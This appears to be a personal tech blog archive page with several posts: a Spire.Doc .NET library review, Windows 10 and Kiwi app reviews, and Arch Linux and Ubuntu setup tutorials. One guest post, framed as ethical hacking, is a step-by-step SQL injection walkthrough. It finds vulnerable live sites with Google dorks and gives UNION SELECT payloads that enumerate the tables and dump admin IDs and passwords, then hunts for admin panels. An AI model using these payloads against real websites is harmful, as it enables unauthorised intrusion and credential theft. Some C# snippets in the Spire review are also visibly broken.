How to view documents using Visual Studio

View documents in Visual Studio with an amazing tool

Xpath Axes

A very useful trick for automation

Review: Spire.DataExport for .NET

A great tool for exporting data in .NET

How to install Arch Linux, step by step, for VMware Workstation (Part I)

First part of a installation tutorial for this beloved OS

How to setup a local repository in Ubuntu

The steps to have a local repo in Ubuntu

Thursday, December 10, 2015

How to create, edit Word files from .NET, C#


The Word documents are almost like a standard in today’s business world. As some reader may confirm, no matter what is the industry, no matter what the companies do, they have something in common: office applications, and among these, maybe the most popular, Microsoft Office in its different versions. Taking that into account, developers often have to deal with this reality and adapt their software to the needs of the Company or the client they are working for. For example, it’s possible that all the information of an office is managed in Excel spreadsheets or Word documents, so it is necessary to process the information in the most efficient way possible. This article is a review, so the reader can consult it so she makes a proper decision when considering acquiring the product. The code is an example of the use of certain features of the product. I focused the article in those features that are different or particularly interesting.

Exploring Spire.doc

Spire.Doc has the following features:
  • Generating, Writing, Editing and Saving
  • Converting
  • Inserting, Editing and Removing Objects
  • Formatting
  • Mail Merge
I will test some aspects of those features showing you the code I’m using. Apart of that, I’ll make some comments about the ease of use, the available documentation and any other details worth mentioning.

Generating a new document with a custom phrase

This set of features contains the basic actions we can perform on Word documents. To test this, I’ll create a document with a custom phrase and I’ll display it from a simple .NET application. The steps to set this up were:
  1. Create a Windows Form Project in C#
  2. Add a button with the text “Display Doc” and with the name “displayButton”
  3. In the Design view, double click “Display Doc”. This opens the code for the click event of the button
  4. Now, I’ll insert the following code into the displayButton_Click method:
    //Create a new word document
    Document document = new Document();
    //Add a paragraph to the document
    Paragraph paragraph = document.AddSection().AddParagraph();
    //Add text to the pragraph
    paragraph.AppendText("This is a test");
    //Save the document. In this case, the document will be saved as Test.docx
    document.SaveToFile("Test.docx", FileFormat.Docx);
    catch { }
    Pretty straightforward, right? The good thing about the methods used by the library is that they are very intuitive.
  5. Debug the application
  6. Once the application is running, click “Display Doc”. You should see something like this:

Converting a document from DOCX to PDF

I’ll take the example above as the base to test this and the subsequent features. To convert a file, I’ll generate one and store in a known location (in this case, D:\). So, the following modifications were made to the code:
private void convertToPDF_Click(object sender, EventArgs e)
            //Create a new word document
            Document document = new Document();
     document.SaveToFile(@"D:\testPDF.pdf", FileFormat.PDF);  
As you can see, I am no longer opening the file and I saved the document in a particular path. Now, let’s convert the document to PDF and display it.

This is just an example, and as you can see, it works very well, with just few changes in the code. Note that the conversion logic is almost the same of creating documents.
Spire.doc supports the conversion from/to many file types. If you want a comprehensive explanation of all the conversion options, you can visit the official Spire.doc site.
Another point to take into account is that the conversion feature is not available for the Standard Edition, but only for the Pro Edition. If the file conversion is a critical feature for your application, you may want to purchase the Pro Edition.

Extracting images from a document

Spire.doc allows the user to completely manipulate Word documents from the code. Some of the features allow us to insert text, find and replace text, remove elements from the document, extract images, etc. The features that got my attention are those to:

  • Extract text, images and other elements from the document: With this feature, it is easy to extract important parts from documents. This can be used when you want to very some values, or to have a collection of images of important documents, etc.
  • Protect documents: It is possible that a lot of documents will be created once the application is running. If the documents are sensitive, they must be protected automatically, since they are too many to handle manually. Spire.doc can help us to do just that.
  • I’m going to extract an image from this word file:

    The following code extracts an image from a document and stores it.
    private void extractImage_Click(object sender, EventArgs e)
                Document document = new Document(@"E:\spire\This is the second test.docx");
                int index = 0;
                //Get all the sections of the document
                foreach (Section section in document.Sections)
                    //Get all the paragraphs
                    foreach (Paragraph paragraph in section.Paragraphs)
                        //Get the Document Objects of each paragraph
                        foreach (DocumentObject docObject in paragraph.ChildObjects)
                            //Extract the image if the Document Object is an image
                            if (docObject.DocumentObjectType == DocumentObjectType.Picture)
                                DocPicture picture = docObject as DocPicture;
                                String imageName = String.Format(@"E:\\spire\Image-{0}.png", index);
                                picture.Image.Save(imageName, System.Drawing.Imaging.ImageFormat.Png);
    After executing the code, you can see the extracted image at the specified location:

    The other feature I want to explore is the ability of protecting a document. To do that, I´ll use the document with the Earth picture from the last example. Note that this can be achieved by using just a few lines of code:
    private void protectDoc_Click(object sender, EventArgs e)
                Document document = new Document(@"E:\spire\This is the second test.docx");
                document.SaveToFile(@"E:\spire\This is the second test.docx");
                System.Diagnostics.Process.Start(@"E:\spire\This is the second test.docx");
    When you run this, you should see the document requesting a password:

    Formatting a document

    This is a set of features that allows us to manipulate all the formatting aspects of a document. This means changing the fonts, their sizes, changing backgrounds, managing tables, etc. I’ll use a custom document (test2.docx) and I’ll edit some of its elements:

    The code I will use for that is:
    private void applyStyle_Click(object sender, EventArgs e)
                Paragraph p;
                Document document = new Document(@"E:\spire\test2.docx");
                Section docSection = document.Sections[0];
                ParagraphStyle style = new ParagraphStyle(document);
                style.Name = "TestStyle";
                style.CharacterFormat.TextColor = Color.Blue;
                style.CharacterFormat.FontName = "Arial";
                style.CharacterFormat.FontSize = 21;
                p = docSection.Paragraphs[0];
                //Save and Launch
                document.SaveToFile("test2.docx", FileFormat.Docx);
    What this code will do is:

  • Change all the fonts to Arial
  • Set the font size to 21
  • Change the font color to blue
  • Add bullet style to the paragraph

  • The logic involved in the way the library handles this is interesting: It is based in styles. In the code above, first I set the style with all the details and then apply it to a paragraph. Of course, you could create different styles and apply them to different documents and parts of documents.


    Spire.doc is a powerful library with great features, and it’s very easy to use. I only performed some action on simple documents, but I think this library has most of its strength in bulk operations. Actually, this kind of libraries can be more or less useful depending on the particular project, but this a library that you’ll definitely use a lot if your handle Word documents in any way.
    What I like about this product:
    • Very easy to use.
    • It’s comprehensively documented
    • There are a lot of code samples to get to know the product
    • The logic of use of the library is straightforward
    • It supports C#, VB.NET, ASP.NET, Web Services and WinForms for .NET Framework version from 2.0 to 4.5
    • What I didn't like:
    • The Standard version does not have the conversion feature.
    In general, I found this library extremely useful and easy to use. However, since al the projects are different, I’d encourage the users who want to buy the library for enterprise applications to try it first and see if it meets the project’s requirements. If it is so, this is a good investment.

    Check my reviews of other E-Icleblue products:

    Tuesday, October 6, 2015

    Donning the Shoes of A Hacker to know about SQL Injection

    The Internet has undoubtedly made knowledge ubiquitous, but along with this it has also generated a lot of vulnerabilities at the same time. There are a lot of malicious users who are in wake to find out the loopholes in your websites so as to attack. On the top now we have SQL injections which are the most effective and invasive way to attack.

    You can be a victim, if...

    There are a lot of SQL attacks which are being reported daily and there are ample lot of websites which are dependent on data driven designs in order to come up with dynamic content for their readers. As all these dynamic designs are build on MySQL or any other database which is dependent on SQL, wherefore this makes all of them exposed to the danger.

    Getting Acquainted

    SQL injection attacks  directly hit the database, therefore you need to have quite a good grasp or preliminary knowledge about the same before you start away with it. If you are starting the process you can certainly go for some learning tutorials for beginners which can tell you all that you need to know.

    What are we discussing here? 

    In this article, we will discuss how to attack a website using SQL injection. Moreover, I am writing this article just to know how these attacks make their way to their website and how can you ensure your safety from them. One must not forget that performing a SQL injection attack is circumventing the law and as we know flouting the rules has its own serious repercussions (so be cautions while performing). This article is a step towards ethical hacking.

    Thinking like a hacker: Step wise analysis

    * First they ByPass the Logins
    * The second step is to access the secret data
    * Then they modify the content of the website
    * The last step is to shut down their database My SQL server

    This was a succinct summary, we will now discuss this in detail.

    Step 1: Searching for exposed/ vulnerable websites: 

    Google being the king of the search engines works as the holy grail for hackers. In order to find the list of vulnerable websites hacker adopt Google's Dork list. Google dork programmed in a such a way that this it is used for finding hackable websites which uses the power of Google searching. In order to refine your search one can use a lot of tricks, but the best trick is to use “inurl:” command in order to find the websites which are prone to danger.

    For example you can type in:

    Searching : 
    1. Copy any of these commands and paste in the search bar of Google.
    2. Google will fetch you a list of web sites.
    3. The you need to visit each of the websites to check their vulnerability factor.

    Gauging the Vulnerability:

    In order to check whether the website is  vulnerable or not ,add a single inverted comma (‘) at the end of websites url and then press enter. (There should be no space between single quotes and number.)

    For instance:'

    If the webpage displayed on the browser remains unchanged or displays the error message of “page not found” or displays any other webpage, then this website is not hackable.

    If after typing this the error message related to sql query comes, then the website is hackable.

    For instance, error message such as

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1]

    Step 3: Finding the Number of columns in the database:

    Now that the hacker is  well aware of the fact that the website is vulnerable, his next move is to find columns existing the database table.

    This is not a big task for them as all they need to do is to write “order by n” instead of that inverted comma ( they leave a space between this statement and number) .

    Now they keep on changing the numbers starting n from 1, 2, …. till a error message stating “unknown column ” is displayed.

    For eg: order by 1 order by 2 order by 3 order by 4

    Keep on changing the numbers till an error message stating “unknown column” pops up.

    Let us suppose you got an error message on the 8th number, then the number of columns will be “n-1”, i.e. here it will be 7.

    This is not an infallible method, thus if this method is not working ,then you can add “-” at the end of this statement

    For instance: order by 1--

    Step 4: Knowing the Vulnerable columns:

    The hackers use the “union select columns_sequence” in order to find out the columns which are prone to danger. Now in this step the “order by n” statement is replaced with this one. After this the id value is swapped with a negative number, i.e. the id = -2, but there might be no need of doing so on some websites.

    You also need to change columns_sequence from number from 1 to x-1 without separating them with commas.

    For eg:

    Let us suppose that the number of columns is 7 ,then the query will be union select 1,2,3,4,5,6,7--

    If this trick do not works then you can also try this: and 1=2 union select 1,2,3,4,5,6,7--

    Step 5: Fetching the  version, user, database

    The third trick is to place “version()” in place of numeral 3.

    For eg: and 1=2 union select 1,2,version(),4,5,6,7--

    After doing so you will get to see a version 5.0 or 6.3. or similar to this.

    Now, to find user() and database() you just need to keep them one by one in the place of version().

    For eg: and 1=2 union select 1,2,user(),4,5,6,7-- and 1=2 union select 1,2,database(),4,5,6,7--

    Moreover, if the above trick is not working then you can try out this one: and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

    Step 6:  Finding the Table Name

    Finding the table name depends on the version of the SQL. So, from the aforementioned query if you have received version 5 or above. Then you need to follow the following steps. Firstly, you need to replace numeral 3 with

     “group_concat(table_name) and add the “from information_schema.tables where table_schema=database()”

    You need to use the above query like this: and 1=2 union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--

    Using this query will fetch you a list of the names of tables. Then after you need to find a table which is related to user or admin.

    After this you need to pick the “admin”table.

    If the site is of version 4 or of any other, then you need to guess the names of the tables. This is why it is difficult to perform SQL injection with version 4.

    Step 7: Searching the  Column Name

    In order to find the name of the column you need to replace  “group_concat(table_name) with “group_concat(column_name)”

    and then  add “FROM information_schema.columns WHERE table_name=mysqlchar– in the place of  “from information_schema.tables where table_schema=database()–”

    This step is a crucial one, as you need to change the table name to a string type named as MySql CHAR()  and then write it in place of mysqlchar.

    Find MysqlChar() for Tablename:
    First of all install the HackBar addon:

    Now you to need to navigate to the the following path:

    Now you need to copy and then paste the code in place if “mysqlchar” present in the URL
    For eg: and 1=2 union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)–

    Running this will fetch us the list of all the table names:
     admin,password,admin_id,admin_name,admin_password,active,id,admin_name,admin_pas  s,admin_id,admin_name,admin_password,ID_admin,admin_username,username,password..etc..

    Now write  group_concat(columnname,0x3a,anothercolumnname) in place of  group_concat(column_name).

    Instead of listed columns you need to write down Columname and anothercolumname also.

    Then you need to write “from table_name” in place of   “from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)”.

    For eg:
        and 1=2 union select 1,2,group_concat(admin_id,0x3a,admin_password),4,5,6,7 from admin--

    You won't be lucky all the times and you will get errors stating column not found. Therefore, you need to try other columns as well.

    You can find columns of username and passwords.

    If a website has accounts of users,  then this can prove to be a golden chicken for hackers.

    Step 8: Fetching the Admin panel:

    You need to start by trying with url like:

    If you are lucky enough, you can get you victims admin url like this, else you can keep on trying with other permutations and combinations.

    Author Biography:

    Samuel Dawson has shared a great article below on how a SQL injection can be perfomed on a website. Currently he is a involved in converting psd to html files for Designs2html Ltd.

    Friday, July 31, 2015

    Windows 10 review: Microsoft takes back its identity

    Windows 10 logo
    Last night I installed Windows 10 and I've been using it. First of all, I think it's great, I really enjoy using it and the features are awesome. Here are some reason why I love Windows 10:

    The start button is back, and it's better than ever

    Windows 10 start button

    This was one of the weakest points of Windows 8. Microsoft forgot for a moment its own good idea and left the beloved start button out of Windows 8, which resulted in several customer complains. Now the button is back, but it means more than just a button in the lower left corner of your screen. It means that Microsoft got the OS' identity back. One of the things I didn't like about Windows 8 is that the Metro view had the feeling of a completely different and independent operating system. It was like having an OS embedded into another OS. Now, we have a single and functional OS with Windows 10. Check Candy Crush installed from the Windows Store, running right on the desktop.

    Windows 10 Candy Crush

    Multiple desktops

    This feature was absent in Windows when Mac OS and Linux had it years ago. It was something frustrating, but that's over. The multiple desktops are used seamlessly, and it actually is something that goes very well with Windows. I don't know why the did't include it before

    It blazing fast

    Windows 10 is much faster than Windows 8. At least, that my impression as I write this article. The windows open faster and the folders with large quantities of items (like photos) load much faster. In the past, you always had to upgrade your hardware to some extent. In this case, I'm using Windows 10 with the same hardware, but with better performance.

    You can paste text in the CMD console!!

    Yes, I think it was pretty annoying to write everything letter by letter, especially when you can paste in the Linux console.

    Simplest OS update ever

    The update to get Windows 10 was very, very simple. I didn't event to configure anything, the process is completely automatic. Also, the compatibility with my current software is excellent. So far, I didn't have problems with any application.

    The Action Center

    This feature contains general information about notifications, wireless connections, settings, etc. It's like the upper menu in Android. Really useful, a great addition that was missing in Windows 8.

    Windows 10 action center

    What I didn't like

    • The store is better, but it's not good enough yet
    • I heard about some problems with the drivers in HP machines, but I didn't face those problems. If I find something strange, I'll write about it here
    • Cortana is unavailable in many countries
    There are some important features like Microsoft Edge, but I'll dedicate a complete article to that. For now, this is just a glimpse of Windows 10. And so far, I really like it!

    Thursday, July 30, 2015

    Review of Kiwi, the social app to ask questions

    For some time I've heard about Kiwi, but I didn't pay much attention to it until now. After all, this app has been downloaded more than 10 million times.

    When I first downloaded and used Kiwi, Twitter came to my mind. When it first came out, I thought it was just a waste of time, but eventually I learned how to use it properly, and now I have an active Twitter account. However, in the case of Kiwi, this is more like a way to know your friends better. It's like a little and enhanced piece of Facebook or Twitter.

    Kiwi basically consists in asking questions to your contacts and answer their questions too.

    The home screen shows a feed where you see the answers given by the people you are following:
    Kiwi home screen

    In the 'Nearby' screen, you can see you current location. You can ask question to nearby people. It is interesting that you can navigate to other locations and ask questions there. However, all of this is just for fun. Don't expect to find meaningful answers in Kiwi.
    New York nearby

    The next screen is just a list of question for you to answer. Tap 'NEW QUESTION' to get a new list of questions.
    Kiwi questions list
    Tap the thunder icon to see your notifications. Here you'll find the usual stuff: likes to your answers, new answers to your questions, etc.
    Finally, tap the right icon to open your profile.

    I used Kiwi for about 4 days and I had fun, but I didn't communicate better with my acquaintances, nor did I get important news (as I do in Twitter). For now, my verdict would be "A waste of time". But I thought the same about Twitter and some other social networks when they first came out. In the case of Twitter, I realized that this social network is better to get instant news and to follow celebrities. I think this is not the intended main use for it, but it finally found an area where it can be useful. Is this the same case of Kiwi? It's very hard to say. I checked my friends' feed and sometimes it turns into a simple chat, where everybody says 'hello' instead of asking questions. What do I think about this? This app won't last much. But if it does, I'll be glad because it's fun and interesting.

    By the way, I had lots of crashes when I first tried to use it, but it immediately got better with a couple of updates.

    Saturday, July 25, 2015

    How to install combo: Arch Linux VMware, step by step, for VMware Workstation (Part III)

    This is the final part of a tutorial I published in 3 parts (check part I and part II). Let's review what we have so far:
    • Create and boot a new Virtual Machine
    • Partition disk
    • Format partitions
    • Install basic system
    To finish the installation, we still need to set some configurations:

    Set main configuration

    1. Generate the fstab file. This is a file that lists the disk partitions and other type of data resources in Linux systems. For more information, check the Wikipedia entry for fstab.To generate the fstab file:

    genfstab -U -p /mnt >> /mnt/etc/fstab

    2. Execute Chroot:

    arch-chroot /mnt

    Note: After this, the console will display something like this:

    3. Set the machine's name:

    nano /etc/hostname

    The command will open an empty text file. Just enter the name for the machine:
    Hostname Arch Linux
    Once you have typed the name, press Ctrl + X. Then type 'Y' and press Enter.

    4. Set the time zone. Here you have to select the correct time zone for your geographical location. I'll set the time zone to New York, just as an example:

    ln -s /usr/share/zoneinfo/America/New_York /etc/localtime

    5. Set language. I'll set this to English. First, open the 'locale.conf' file:

    nano /etc/locale.conf

    Once inside the file, add this text: LANG=en_US.UTF-8
    Arch Linux Language
    That will set the language to English (United States). Now press Ctrl + X, type 'Y' and press Enter.

    6. Activate language:

    nano /etc/locale.gen

    Look for this text: #en_US.UTF-8 UTF-8 and delete the # symbol.

    locale.gen file
    ress Ctrl + X, type 'Y' and press Enter.

    7. Generate locales:
    Enter this in the console:

    Generating locales

    8. Configure keyboard:

    nano /etc/vconsole.conf

    Add KEYMAP=en to the file for a keyboard layout in English.

    English keymap

    9. Install GRUB. First, just install it with:

    grub-install /dev/sda

    GRUB installed
    Now, you need to generate the grub.cfg file:

    grub-mkconfig -o /boot/grub/grub.cfg
    Generate grub.cfg

    10. Generate ramdisk:

    mkinitcpio -p linux
    Generating ramdisk
    11. Set a password for root:

    Password for root
    Next, close Chroot with: exit.
    Exit Chroot

    12. Restart the system:


    After the restart, if everything went well, you should see this screen:
    Congratulations! You just installed Arch Linux successfully! Of course, there are some additional configurations we have to make, and also a proper GUI. I'll address these topics in future posts.

    Monday, July 20, 2015

    How to install combo: Arch Linux VMware, step by step, for VMware Workstation (Part II)

    Note: If you didn't see the first part of this series of articles, I recommend you to check it out here.

    Last time I wrote about the first steps to use VMware-Arch Linux. Now I'll continue with some steps just a little more complicated. To summarize what we have so far:
    • Create and boot a new Virtual Machine
    • Partition disk
    This article will continue from there. The next immediate step is to format the partitions. Let's begin.

    Format partitions

    1. First, get the partition table so you know which partitions you are manipulating. To do that, enter this command in the console: lsblk
    Also, you should remember which of those partition corresponds to which type. In this case:

    • sda1: boot 
    • sda2: root
    • sda3: home
    • sda4: swap

    2. Format partitions. Enter the following commands:

    For boot:

    mkfs -t ext2 /dev/sda1 

    For root:

    mkfs.ext4 /dev/sda2

    For home:

    mkfs.ext4 /dev/sda3

    For swap:

    mkswap /dev/sda4
    swapon /dev/sda4

    3. Mount the partitions:

    Mount the root partition:

    mount /dev/sda2 /mnt

    Create a folders for Boot and Home:

    mkdir /mnt/home
    mkdir /mnt/boot

    Mount the Home and Boot partitions in the folders you just created:

    mount /dev/sda1 /mnt/boot
    mount /dev/sda3 /mnt/home

    System installation

    1. Install basic System. For this step, the first thing to do is to verify our internet connection. If you followed this guide and left the virtual machines's settings by default, you should have internet access. To verify that, type:

    ping -c 3

    You should see an output like this:

    Ping output

    Now, install the bases system with pacstrap:

    pacstrap /mnt base base-devel

    Next, a lot of packages will be downloaded and installed. When the process finished, you should see something like this:

    Base system installed

    Just in case, if your Internet connection fails for any reason, don't freak out, the downloads will retry when the connection comes back. This is just a detail, but it's worth mention.

    2. Install GRUB. As you may already know, we need GRUB to boot the system. Install it with:

    pacstrap /mnt grub-bios

    As in step 4, some file will be downloaded:

    Installing GRUB
    3. Install Network Manager. This will help us with all the internet connections:

    pacstrap /mnt networkmanager

    And this is the end of the second part of this series of articles. We are almost ready to use our Arch Linux virtual machine, we just need to make some customization. For the instructions, check the third part of this series of articles at:

    Wednesday, July 15, 2015

    How to install combo: Arch Linux VMware, step by step, for VMware Workstation (Part I)

    Arch Linux have many supporters due many different reasons. This minimalist Linux distribution expects some effort from the user, but that's the reason why some Linux fans use it. This additional effort to understand the system can bring a better understanding of the way the OS is built. However, if you are a beginner, it may be a little difficult to start using WMware-Arch Linux, so here's a detailed guide on how to do it.

    Note: This is a log process, so I'll divide it into 2 articles. This is the first part, enjoy it!

    For this example, I'll use a VMware virtual machine. Let's begin.

    • The Arch Linux .iso image. You can download it here.

    Create and boot the Virtual Machine

    1. Open VMware Workstation.
    2. Go to File > New Virtual Machine
    3. Select 'Custom(advanced)' and click 'Next'
    4. Click 'Next'
    5. Select 'Installer disc image file'
    6. Browse the .iso file you downloaded earlier.
    7. Click 'Next'
    8. Select 'Linux'
    9. In the 'Version' drop down, select 'Other Linux 3.x kernel 64 bit'. In case you have a 32 bit version, select 'Other Linux 3.x kernel'.
    New virtual machine wizard
    10. Click 'Next'
    11. Type a name for the virtual machine and click 'Next'
    12. I'll leave the Processor configuration as it comes by default. Click 'Next'

    13. I'll leave the RAM value by default. Click 'Next'
    14. Continue with the wizard and leave all the values by default (this is for this example). Then click 'Finish'
    15. Turn the virtual machine on

    Now you'll see this screen:

    Arch Linux first screen
    16. Select 'Boot Arch Linux (x86_64)'. For a 32 bit architecture use 'Boot Arch Linux (i686)'. Next, you'll see this:

    Arch Linux console
     As with older version of Linux, most of the actions will take place here, in the console. This can be scary for many new users, but you get used to it. Let's continue.

    Partition disk

    OK, this part can be tricky. There are several options to partition the disk for Arch Linux. I'll use here what I think is the best way, but you can look for more details here. Also, I'll only mention the tools I use as I continue, but I won't explain the details on why I selected them, unless it is necessary.

    1. Enter this command:

    cfdisk /dev/sda

    2. Select 'dos'
    Label type dos mbr

    3. Select 'New' and press Enter.
    Arch Linux partition size

    It is necessary to create a boot partition too, so GRUB can be installed there afterwards. So, before continuing, we'll create it:

    • Set the partition size to 150M
    • Press Enter
    • Select the partition you just created and select 'Type'. Press Enter
    • Select BIOS boot and press Enter
    After that, you should see this:
    MBR boot

    *End of Update*

    Once you have the boot partition, create another partition selecting the Free space and selecting 'New'. Now I'll follow this guide I wrote for Ubuntu some time ago. So, I'll assign 40% of the total space to the root partition. The total size of the disk I'm using for this example is 8GB, so set it to 3GB (approximately 40% of 8GB) and hit Enter, then select 'primary' and press Enter.

    4. Select 'Free space' and 'New', then hit Enter.

    7. Assign this partition 3.9GB. This will leave 1GB for the swap area, which is enough for the RAM memory used by this virtual machine (of course, just in this particular case). Hit Enter, select 'primary' and hit Enter again.

    10. Select 'Free space', 'New' and press Enter. Now I have just 997MB for the swap area. I'll use all that space. 

    11. Select the partition you just created and select 'Type', then press Enter. Then, select '82 Linux Swap / Solaris' and press Enter.
    After all that, you should see this:
    12. Now select 'Write' and press Enter. Type 'yes' and press Enter again.
    13. Select 'Quit' and press Enter (ignore the message in 'Quit': Quit program without writing partition table. It will be saved anyway).

    This is all for now, I hope it's useful! Don't forget to check the following article at:

    Monday, July 13, 2015

    How to setup a local repository in Ubuntu (with images)

    Now I'll show you how to setup a local repository in an Ubuntu Server. This can be helpful when you want to take control of the Linux machines in your organization's environment. Let's begin:

    1. Open a terminal
    2. Install the Debian Package Development Tools. To do that, enter the following command in the the Terminal: 

    sudo apt-get install dpkg-dev

    Note: I'm using Ubuntu 14.04 LTS and the package is already installed in this version.
    Ubuntu dpkg installed
    3. Crete a directory for the packages. When you download any packages from the local repository, they will be saved here. To do this, just enter the following command: 

    sudo mkdir -p /usr/local/mypackages

    In this case, I'm using the folder: /usr/local/mypackages as the place to hold the packages fro the local repository.

    4. Create a script that will scan the packages in the destination folder and will create a file that can be read by apt-get. To do this, enter the following commands in the terminal:

    • sudo gedit (this opens a text editor. If you don't have it already installed, enter: sudo apt-get install gedit)
    • When Gedit opens, paste the following text into Gedit:
    #! /bin/bash
     cd /usr/local/mypackages
     dpkg-scanpackages . /dev/null | gzip -9c > Packages.gz

    Gedit script

    • Go to File > Save As.
    • Go to Home > User  > bin, where 'User' is your user name (e.g., Home/Jorge/bin). If you don't have a bin folder, create it.
    • Save the file as: update-mypackages
    Saving a file

    • Close Gedit
    5. Make the script executable:

    sudo chmod u+x ~/bin/update-mypackages

    6. Open the sources.list file:
    • In the terminal, enter sudo gedit
    • From the Gedit window, click Open.
    • Browse to /etc/apt and open sources.list
    Packages sources list

    • Go to the end of the file and add the following line:
    deb file:/usr/local/mypackages ./

    Adding a new source

    • Click 'Save' and close Gedit.
    And that's all. A simple repository is running in your Ubuntu Server. Now let's test it.

    1. Download the .deb file for Notepad++ here.
    2. Now, copy the file into the folder you created for packages: /usr/local/mypackages (you might need to use sudo mv)
    3. Run the script you created in ~/bin ('~' means your home directory) with the following command:
    sudo ./update-packages
    Result of the script

    4. Update apt-get: sudo apt-get update
    5. Now, to test if the local repository is working, disconnect from Internet. 
    6. Run this command to install the package:
    sudo apt-get install notepad++

    If everything went well, you'll see something like this:
    Installing from local repository

    There's a lot to say about creating a local repository in Linux, but I think this is a good starting point. I'll be writing more about this in future posts.